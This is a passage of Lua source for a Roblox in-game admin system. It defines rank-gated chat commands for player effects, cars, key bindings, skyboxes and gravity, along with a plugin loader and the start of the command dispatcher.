8317 local Size = tonumber(Arguments[2])+25
8318 for _,Player in pairs(Players) do
8319 if Player.Character then
8320 if Player.Character:FindFirstChild("Head") then
8321 if Player.Character.Head:FindFirstChild("Mesh") then
8322 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8323 end
8324 end
8325 end
8326 end
8327 end
8328 end};
8329
8330 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8331 local Players = STRING:Scan(Arguments[1], Speaker)
8332 for _,Player in pairs(Players) do
8333 if Player.Character and Player.Character:FindFirstChild("Torso") then
8334 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8335 Player.Character.Parent = nil
8336 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8337 end
8338 end
8339 end};
8340
8341 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8342 GUI:SettingsGui(Speaker)
8343 end};
8344
8345 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8346 if tonumber(Arguments[2]) then
8347 local Players = STRING:Scan(Arguments[1], Speaker)
8348 local List = {}
8349 for _,Player in pairs(Players) do
8350 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8351 table.insert(List, Player.Name)
8352 end
8353 end
8354 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8355 end
8356 end};
8357
8358 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8359 local Players = STRING:Scan(Arguments[1], Speaker)
8360 for _,Player in pairs(Players) do
8361 if Player.Character and Player.Character:FindFirstChild("Head") then
8362 local Char = Player.Character
8363 Char:BreakJoints()
8364 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8365 Obj.Anchored = true
8366 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8367 local Decal = Instance.new("Decal", Obj)
8368 Decal.Texture = "rbxassetid://178913323"
8369 Decal.Face = Face
8370 end
8371 end)
8372 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8373 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8374 Sound1:Play() Sound2:Play()
8375 coroutine.wrap(function()
8376 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8377 repeat wait()
8378 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8379 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8380 Obj.Transparency = math.random(0,30)/100
8381 Obj.Reflectance = math.random(0,50)/100
8382 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8383 end)
8384 until Char ~= Player.Character or Char.Parent == nil
8385 end)()
8386 end
8387 end
8388 end, Hidden = true};
8389
8390 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8391 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8392 end, Http = true};
8393
8394 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8395 local Players = STRING:Scan(Arguments[1], Speaker)
8396 for _,Player in pairs(Players) do
8397 if Player.Character then
8398 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8399 Obj.Material = "Neon"
8400 end)
8401 end
8402 end
8403 end};
8404
8405 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8406 local Players = STRING:Scan(Arguments[1], Speaker)
8407 for _,Player in pairs(Players) do
8408 if Player.Character then
8409 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8410 Obj.Material = "Plastic"
8411 end)
8412 end
8413 end
8414 end};
8415
8416 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8417 local Players = STRING:Scan(Arguments[1], Speaker)
8418 for _,Player in pairs(Players) do
8419 if Player.Character then
8420 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8421 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8422 end)
8423 end
8424 end
8425 end, Hidden = true};
8426
8427 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8428 local Players = STRING:Scan(Arguments[1], Speaker)
8429 for _,Player in pairs(Players) do
8430 if Player.Character and Player.Character:FindFirstChild("Torso") then
8431 local Pos = Player.Character.Torso.Position
8432 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8433 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8434 if Answer == "Ok" then
8435 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8436 end
8437 end
8438 end
8439 end};
8440
8441 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8442 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8443 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8444 if PlayersFrom and PlayersTo then
8445 for _,PlayerFrom in pairs(PlayersFrom) do
8446 for _,PlayerTo in pairs(PlayersTo) do
8447 if PlayerFrom.Character and PlayerTo.Character then
8448 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8449 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8450 wait(5)
8451 Laser:Destroy()
8452 end)() end
8453 end
8454 end
8455 end
8456 end
8457 end};
8458
8459 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8460 local Players = STRING:Scan(Arguments[1], Speaker)
8461 for _,Player in pairs(Players) do
8462 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8463 Player.Character.Humanoid:Destroy()
8464 end
8465 end
8466 end};
8467
8468 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8469 if Plugins then
8470 local List = {}
8471 for _,Module in pairs(Plugins:GetChildren()) do
8472 if Module:IsA("ModuleScript") then
8473 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8474 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8475 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8476 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8477 end
8478 end
8479 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8480 else
8481 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8482 end
8483 end};
8484
8485 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8486 local Players = STRING:Scan(Arguments[1], Speaker)
8487 for _,Player in pairs(Players) do
8488 GUI:DetachChat(Player)
8489 end
8490 end};
8491
8492 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8493 GUI:DetachChat(Speaker)
8494 end};
8495
8496 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8497 local Players = STRING:Scan(Arguments[1], Speaker)
8498 for _,Player in pairs(Players) do
8499 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8500 local Dead = false
8501
8502 Player.Character.Humanoid.WalkSpeed = 1
8503 local Torso = Player.Character.Torso
8504 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8505 Truck:BreakJoints()
8506 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8507 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8508 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8509 Truck.Touched:connect(function(Part)
8510 if Dead == false then
8511 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8512 if TouchPlayer == Player then
8513 Dead = true
8514 Player.Character:BreakJoints()
8515 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8516 end
8517 end
8518 end)
8519 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8520 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8521 Delay(5, function()
8522 Truck:Destroy()
8523 if Player.Character:FindFirstChild("Humanoid") then
8524 Player.Character.Humanoid.WalkSpeed = 16
8525 end
8526 end)
8527 end
8528 end
8529 end};
8530
8531 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8532 local Joke = REMOTE:DownloadJoke(Speaker)
8533 local Players = STRING:Scan(Arguments[1], Speaker)
8534 for _,Player in pairs(Players) do
8535 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8536 end
8537 end, Http = true};
8538
8539 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8540 local Joke = REMOTE:DownloadJoke(Speaker)
8541 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8542 end, Http = true};
8543
8544 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8545 local Players = STRING:Scan(Arguments[1], Speaker)
8546 for _,Player in pairs(Players) do
8547 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8548 CORE:InvisiblePlayer(Player)
8549 local DogContainer = Instance.new("Model", Player.Character)
8550 DogContainer.Name = "Doge"
8551 local Dog = CORE:Insert(257489726, DogContainer, true)
8552 Dog.Head.Transparency = 0.99
8553 Dog.Name = Player.Name
8554 Dog:MoveTo(Player.Character.Torso.Position)
8555 local Weld = Instance.new("Weld", Dog.Torso)
8556 Weld.Part0 = Player.Character.Torso
8557 Weld.Part1 = Dog.Torso
8558 Weld.C0 = CFrame.new(0,-0.4,0)
8559 for _,Obj in pairs(Dog:GetChildren()) do
8560 if Obj:IsA("BasePart") then
8561 Obj.CanCollide = false
8562 end
8563 end
8564
8565 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8566 end
8567 end
8568 end};
8569
8570 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8571 local Key = string.lower(string.sub(Arguments[1],1,1))
8572 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8573 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8574 end};
8575
8576 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8577 local Key = string.lower(string.sub(Arguments[1],1,1))
8578 KeyBinds[Speaker.UserId][Key] = nil
8579 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8580 end};
8581
8582 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8583 KeyBinds[Speaker.UserId] = {}
8584 GUI:SendHint(Speaker, "Unbinded all keys")
8585 end};
8586
8587 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8588 local Players = STRING:Scan(Arguments[1], Speaker)
8589 local Key = string.lower(string.sub(Arguments[2],1,1))
8590 for _,Player in pairs(Players) do
8591 KeyBinds[Player.UserId][Key] = Arguments[3]
8592 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8593 end
8594 end};
8595
8596 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8597 local Players = STRING:Scan(Arguments[1], Speaker)
8598 local Key = string.lower(string.sub(Arguments[2],1,1))
8599 for _,Player in pairs(Players) do
8600 KeyBinds[Player.UserId][Key] = nil
8601 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8602 end
8603 end};
8604
8605 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8606 local Players = STRING:Scan(Arguments[1], Speaker)
8607 for _,Player in pairs(Players) do
8608 KeyBinds[Player.UserId] = {}
8609 GUI:SendHint(Player, "Unbinded all keys")
8610 end
8611 end};
8612
8613 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8614 local Players = STRING:Scan(Arguments[1], Speaker)
8615 local Binds = {}
8616 for _,Player in pairs(Players) do
8617 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8618 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8619 end
8620 end
8621 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8622 end};
8623
8624 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8625 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8626 local Players = STRING:Scan(ChatSplit[1], Speaker)
8627 for _,Player in pairs(Players) do
8628 if Crowns[Player.UserId] then
8629 Crowns[Player.UserId]:Destroy()
8630 Crowns[Player.UserId] = nil
8631 wait()
8632 end
8633 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8634 end
8635 end};
8636
8637 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8638 local Players = STRING:Scan(Arguments[1], Speaker)
8639 for _,Player in pairs(Players) do
8640 if Crowns[Player.UserId] then
8641 Crowns[Player.UserId]:Destroy()
8642 Crowns[Player.UserId] = nil
8643 end
8644 end
8645 end};
8646
8647 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8648 local MeshList = {}
8649 for MeshName,Data in pairs(Meshes) do
8650 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8651 end
8652 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8653 end};
8654
8655 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8656 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8657 end};
8658
8659 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8660 local Players = STRING:Scan(Arguments[1], Speaker)
8661 for _,Player in pairs(Players) do
8662 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8663 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8664 Player:ClearCharacterAppearance()
8665 CORE:GivePackage(Player, 41851073)
8666 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8667 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8668 end
8669 end
8670 end};
8671
8672 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8673 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8674 local Players = STRING:Scan(Arguments[1], Speaker)
8675 for _,Player in pairs(Players) do
8676 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8677 local Car = CORE:Insert(10479801, Server.Workspace, true)
8678 local Body = Car["Motor (torque)Chassis"].Part
8679 Cars[Player.UserId] = Car
8680 Car:MakeJoints()
8681 Car.VehicleSeat.MaxSpeed = 50
8682 Car.VehicleSeat.TurnSpeed = 1.5
8683 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8684 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8685 Body.Color = GUI:GetColor(Arguments[2])
8686 else
8687 Body.BrickColor = GUI:GetNameColor(Player.Name)
8688 end
8689 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8690 if Part.Name ~= "Part" then
8691 Part.BrickColor = BrickColor.new("Really black")
8692 Part.Friction = 0.7
8693 end
8694 end
8695 local Light = Instance.new("SpotLight", Body)
8696 Light.Face = "Back"
8697 Light.Brightness = 5
8698 Light.Range = 20
8699 Light.Color = Color3.new(0,1,1)
8700 if Player.Character and Player.Character.Torso then
8701 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8702 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8703 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8704 Weld.Part0 = Car.VehicleSeat
8705 Weld.Part1 = Player.Character.Torso
8706 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8707 Delay(0.4, function()
8708 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8709 wait(0.1)
8710 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8711 end)
8712 end
8713 local SoundID = 147944604
8714 if RANK:GetRank(Player) == "Owner" then
8715 SoundID = 133313356
8716 Car.VehicleSeat.MaxSpeed = 80
8717 Body.Material = "DiamondPlate"
8718 Car.VehicleSeat.Torque = 11
8719 end
8720 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8721 Engine:Play()
8722 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8723 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8724 end if Engine then Engine:Stop() end end)()
8725 end
8726 end};
8727
8728 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8729 local Players = STRING:Scan(Arguments[1], Speaker)
8730 for _,Player in pairs(Players) do
8731 if Cars[Player.UserId] then
8732 Cars[Player.UserId]:Destroy()
8733 end
8734 end
8735 end};
8736
8737 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8738 for _,Car in pairs(Cars) do
8739 Car:Destroy()
8740 end
8741 Cars = {}
8742 end};
8743
8744 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8745 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8746 if #Trello.RequiredLists > 0 then
8747 print("Restarting Trello")
8748 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8749 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8750 REMOTE:TrelloCacheData(Lists)
8751 end
8752 end, Http = true};
8753
8754 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8755 local Operations = {}
8756 for _,ReplaceData in pairs(StringReplacements) do
8757 local Replacement = ReplaceData[1]
8758 if type(Replacement) == "table" then
8759 Replacement = ReplaceData[1][1]
8760 end
8761 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8762 end
8763 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8764 end};
8765
8766 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8767 GUI:SoundInfo(Speaker)
8768 end};
8769
8770 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8771 local Players = STRING:Scan(Arguments[1], Speaker)
8772 for _,Player in pairs(Players) do
8773 GUI:SoundInfo(Player)
8774 end
8775 end};
8776
8777 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8778 if tonumber(Arguments[1]) then
8779 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8780 end
8781 end};
8782
8783 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8784 local Types = {}
8785 for Type,_ in pairs(Assets.AccessoryTypes) do
8786 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8787 end
8788 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8789 end};
8790
8791 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8792 local Sky = Server.Lighting:FindFirstChild("Sky")
8793 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8794 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8795 local Face = nil
8796 local SkyID = string.lower(Arguments[1])
8797 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8798 if #Arguments == 2 and tonumber(Arguments[2]) then
8799 Face = Arguments[1]
8800 SkyID = Arguments[2]
8801 end
8802 if tonumber(SkyID) then
8803 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8804 if Face and Faces[Face] then
8805 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8806 else
8807 for _,Face in pairs(Faces) do
8808 Sky[Face] = "rbxassetid://"..ImageID
8809 end
8810 end
8811 else
8812 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8813 end
8814 end};
8815
8816 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8817 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8818 Obj:Destroy()
8819 end)
8820 end};
8821 --
8822}
8823
8824if Plugins then
8825 local PluginNum = 0
8826 for _,Module in pairs(Plugins:GetChildren()) do
8827 if Module:IsA("ModuleScript") then
8828 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8829 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8830 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8831 if Enabled.Value == true then
8832 PluginNum = PluginNum + 1
8833 local PluginExe = require(Module)
8834 for Var,Val in pairs(getfenv()) do
8835 getfenv(PluginExe)[Var] = Val
8836 end
8837 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8838 getfenv(PluginExe).script = Module
8839 getfenv(PluginExe).Script = Module
8840 getfenv(PluginExe).Version = Version
8841 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8842 if not Suc then
8843 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8844 else
8845 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8846 end
8847 end
8848 end
8849 end
8850end
8851
8852function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8853 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8854 GUI:SettingsGui(Speaker)
8855 return nil
8856 end
8857 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8858 local Prefix = Settings.Prefix
8859 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8860 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8861 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8862 if Speaker == nil then
8863 if FakeRank then
8864 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8865 FakeRank = "Owner"
8866 end
8867 else
8868 FakeRank = "Owner"
8869 end
8870 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8871 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8872 Speaker = {
8873 Name = FakePlayerName or "[ Server ]";
8874 Character = nil;
8875 userId = 1;
8876 PlayerGui = nil;
8877 Rank = FakeRank or "Owner";
8878 MakeSupremeOwner = MakeSupremeOwner;
8879 }
8880 end
8881 local Rank = RANK:GetRank(Speaker)
8882 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8883
8884 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8885 if NoPrefixNeeded then Prefix = "" end
8886 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8887
8888 for _,Message in pairs(Messages) do
8889 for Cmds,Data in pairs(Commands) do -- check all commands
8890 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8891
8892 if not MessageSplit then break end
8893
8894 local CommandSaid = false
8895 for _,Command in pairs(Cmds) do
8896 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8897 CommandSaid = true
8898 break
8899 end
8900 end
8901 if CommandSaid == true then -- command said?
8902 local ExecuteExcuse = ""
8903 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8904 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8905 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8906 end
8907 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8908 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8909 end
8910 else
8911 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8912 end
8913 if ExecuteExcuse == "" then
8914 if #MessageSplit - 1 < Data[3] then
8915 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8916 end
8917 end
8918 if ExecuteExcuse == "" then
8919 CORE:Log(CommandLogs, Speaker, Message)
8920 table.remove(MessageSplit, 1)
8921 coroutine.wrap(function() wait()
8922 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8923 if not DidExe then
8924 if CORE:NilPlayer(Speaker) then
8925 print("Error: "..Error)
8926 else
